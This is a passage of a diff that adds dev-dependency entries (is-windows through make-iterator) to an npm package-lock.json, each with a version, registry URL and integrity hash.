"version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", + "dev": true + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "dev": true + }, + "istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", + "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", + "dev": true + }, + "istanbul-lib-hook": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-hook/-/istanbul-lib-hook-3.0.0.tgz", + "integrity": "sha512-Pt/uge1Q9s+5VAZ+pCo16TYMWPBIl+oaNIjgLQxcX0itS6ueeaA+pEfThZpH8WxhFgCiEb8sAJY6MdUKgiIWaQ==", + "dev": true, + "requires": { + "append-transform": "^2.0.0" + } + }, + "istanbul-lib-instrument": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-4.0.3.tgz", + "integrity": "sha512-BXgQl9kf4WTCPCCpmFGoJkz/+uhvm7h7PFKUYxh7qarQd3ER33vHG//qaE8eN25l07YqZPpHXU9I09l/RD5aGQ==", + "dev": true, + "requires": { + "@babel/core": "^7.7.5", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.0.0", + "semver": "^6.3.0" + } + }, + "istanbul-lib-processinfo": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-2.0.3.tgz", + "integrity": "sha512-NkwHbo3E00oybX6NGJi6ar0B29vxyvNwoC7eJ4G4Yq28UfY758Hgn/heV8VRFhevPED4LXfFz0DQ8z/0kw9zMg==", + "dev": true, + "requires": { + "archy": "^1.0.0", + "cross-spawn": "^7.0.3", + "istanbul-lib-coverage": "^3.2.0", + "p-map": "^3.0.0", + "rimraf": "^3.0.0", + "uuid": "^8.3.2" + }, + "dependencies": { + "p-map": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", + "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", + "dev": true, + "requires": { + "aggregate-error": "^3.0.0" + } + } + } + }, + "istanbul-lib-report": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", + "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", + "dev": true, + "requires": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^3.0.0", + "supports-color": "^7.1.0" + }, + "dependencies": { + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "requires": { + "semver": "^6.0.0" + } + } + } + }, + "istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", + "dev": true, + "requires": { + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" + } + }, + "istanbul-reports": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.5.tgz", + "integrity": "sha512-nUsEMa9pBt/NOHqbcbeJEgqIlY/K7rVWUX6Lql2orY5e9roQOthbR3vtY4zzf2orPELg80fnxxk9zUyPlgwD1w==", + "dev": true, + "requires": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + } + }, + "jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dev": true, + "peer": true, + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "dependencies": { + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "jiti": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.19.1.tgz", + "integrity": "sha512-oVhqoRDaBXf7sjkll95LHVS6Myyyb1zaunVwk4Z0+WPSW4gjS0pl01zYKHScTuyEhQsFxV5L4DR5r+YqSyqyyg==", + "dev": true + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "requires": { + "argparse": "^2.0.1" + } + }, + "js2xmlparser": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz", + "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==", + "dev": true, + "requires": { + "xmlcreate": "^2.0.4" + } + }, + "jsdoc": { + "version": "3.6.7", + "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.7.tgz", + "integrity": "sha512-sxKt7h0vzCd+3Y81Ey2qinupL6DpRSZJclS04ugHDNmRUXGzqicMJ6iwayhSA0S0DwwX30c5ozyUthr1QKF6uw==", + "dev": true, + "requires": { + "@babel/parser": "^7.9.4", + "bluebird": "^3.7.2", + "catharsis": "^0.9.0", + "escape-string-regexp": "^2.0.0", + "js2xmlparser": "^4.0.1", + "klaw": "^3.0.0", + "markdown-it": "^10.0.0", + "markdown-it-anchor": "^5.2.7", + "marked": "^2.0.3", + "mkdirp": "^1.0.4", + "requizzle": "^0.2.3", + "strip-json-comments": "^3.1.0", + "taffydb": "2.6.2", + "underscore": "~1.13.1" + }, + "dependencies": { + "escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true + } + } + }, + "jsdom": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-18.0.0.tgz", + "integrity": "sha512-HVLuBcFmwdWulStv5U+J59b1AyzXhM92KXlM8HQ3ecYtRM2OQEUCPMa4oNuDeCBmtRcC7tJvb0Xz5OeFXMOKTA==", + "dev": true, + "requires": { + "abab": "^2.0.5", + "acorn": "^8.5.0", + "acorn-globals": "^6.0.0", + "cssom": "^0.5.0", + "cssstyle": "^2.3.0", + "data-urls": "^3.0.1", + "decimal.js": "^10.3.1", + "domexception": "^4.0.0", + "escodegen": "^2.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^3.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^10.0.0", + "ws": "^8.2.3", + "xml-name-validator": "^4.0.0" + } + }, + "jsdom-global": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz", + "integrity": "sha512-t1KMcBkz/pT5JrvcJbpUR2u/w1kO9jXctaaGJ0vZDzwFnIvGWw9IDSRciT83kIs8Bnw4qpOl8bQK08V01YgMPg==", + "dev": true, + "requires": {} + }, + "jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true, + "peer": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true + }, + "json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true + }, + "jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.6", + "universalify": "^2.0.0" + }, + "dependencies": { + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true + } + } + }, + "jsonminify": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/jsonminify/-/jsonminify-0.2.3.tgz", + "integrity": "sha512-xCKqFKtH9nCPqm2Uisk7GlgYMkk4FQ7rHosMcIoSBAP8KkpW8/9ditjDXCcTuIEIiyq9WR97G+9i60fhW7ibUA==", + "dev": true + }, + "just-debounce": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/just-debounce/-/just-debounce-1.1.0.tgz", + "integrity": "sha512-qpcRocdkUmf+UTNBYx5w6dexX5J31AKK1OmPwH630a83DdVVUIngk55RSAiIGpQyoH0dlr872VHfPjnQnK1qDQ==", + "dev": true + }, + "just-extend": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz", + "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==", + "dev": true + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true + }, + "klaw": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/klaw/-/klaw-3.0.0.tgz", + "integrity": "sha512-0Fo5oir+O9jnXu5EefYbVK+mHMBeEVEy2cmctR1O1NECcCkPRreJKrS6Qt/j3KC2C148Dfo9i3pCmCMsdqGr0g==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.9" + } + }, + "kleur": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", + "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", + "dev": true + }, + "last-run": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/last-run/-/last-run-1.1.1.tgz", + "integrity": "sha512-U/VxvpX4N/rFvPzr3qG5EtLKEnNI0emvIQB3/ecEwv+8GHaUKbIB8vxv1Oai5FAF0d0r7LXHhLLe5K/yChm5GQ==", + "dev": true, + "requires": { + "default-resolution": "^2.0.0", + "es6-weak-map": "^2.0.1" + } + }, + "lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dev": true, + "requires": { + "readable-stream": "^2.0.5" + } + }, + "lcid": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", + "integrity": "sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==", + "dev": true, + "requires": { + "invert-kv": "^1.0.0" + } + }, + "lead": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz", + "integrity": "sha512-IpSVCk9AYvLHo5ctcIXxOBpMWUe+4TKN3VPWAKUbJikkmsGp0VrSM8IttVc32D6J4WUsiPE6aEFRNmIoF/gdow==", + "dev": true, + "requires": { + "flush-write-stream": "^1.0.2" + } + }, + "levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "requires": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + } + }, + "liftoff": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz", + "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==", + "dev": true, + "requires": { + "extend": "^3.0.0", + "findup-sync": "^3.0.0", + "fined": "^1.0.1", + "flagged-respawn": "^1.0.0", + "is-plain-object": "^2.0.4", + "object.map": "^1.0.0", + "rechoir": "^0.6.2", + "resolve": "^1.1.7" + }, + "dependencies": { + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + } + }, + "extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "requires": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + } + }, + "findup-sync": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz", + "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==", + "dev": true, + "requires": { + "detect-file": "^1.0.0", + "is-glob": "^4.0.0", + "micromatch": "^3.0.4", + "resolve-dir": "^1.0.1" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "^2.0.4" + } + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + } + } + }, + "lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true + }, + "lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true + }, + "linkify-it": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-2.2.0.tgz", + "integrity": "sha512-GnAl/knGn+i1U/wjBz3akz2stz+HrHLsxMwHQGofCDfPvlf+gDKN58UtfmUquTY4/MXeE2x7k19KQmeoZi94Iw==", + "dev": true, + "requires": { + "uc.micro": "^1.0.1" + } + }, + "load-json-file": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", + "integrity": "sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "parse-json": "^2.2.0", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "strip-bom": "^2.0.0" + }, + "dependencies": { + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true + }, + "strip-bom": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", + "integrity": "sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==", + "dev": true, + "requires": { + "is-utf8": "^0.2.0" + } + } + } + }, + "loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "dev": true, + "peer": true + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "requires": { + "p-locate": "^5.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "lodash.castarray": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.castarray/-/lodash.castarray-4.4.0.tgz", + "integrity": "sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==", + "dev": true + }, + "lodash.clone": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clone/-/lodash.clone-4.5.0.tgz", + "integrity": "sha512-GhrVeweiTD6uTmmn5hV/lzgCQhccwReIVRLHp7LT4SopOjqEZ5BbX8b5WWEtAKasjmy8hR7ZPwsYlxRCku5odg==", + "dev": true + }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true + }, + "lodash.flattendeep": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", + "integrity": "sha512-uHaJFihxmJcEX3kT4I23ABqKKalJ/zDrDg0lsFtc1h+3uw49SIJ5beyhx5ExVRti3AvKoOJngIj7xz3oylPdWQ==", + "dev": true + }, + "lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", + "dev": true + }, + "lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "lodash.mergewith": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.2.tgz", + "integrity": "sha512-GK3g5RPZWTRSeLSpgP8Xhra+pnjBC56q9FZYe1d5RN3TJ35dbkGy3YqBSMbyCrlbi+CM9Z3Jk5yTL7RCsqboyQ==", + "dev": true + }, + "lodash.some": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.some/-/lodash.some-4.6.0.tgz", + "integrity": "sha512-j7MJE+TuT51q9ggt4fSgVqro163BEFjAt3u97IqU+JA2DkWl80nFTrowzLpZ/BnpN7rrl0JA/593NAdd8p/scQ==", + "dev": true + }, + "log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "requires": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + } + }, + "lolex": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz", + "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==", + "dev": true + }, + "lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==", + "dev": true + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "requires": { + "yallist": "^3.0.2" + } + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "dependencies": { + "semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true + } + } + }, + "make-iterator": { + "version": "1.0.1", + "resolved": 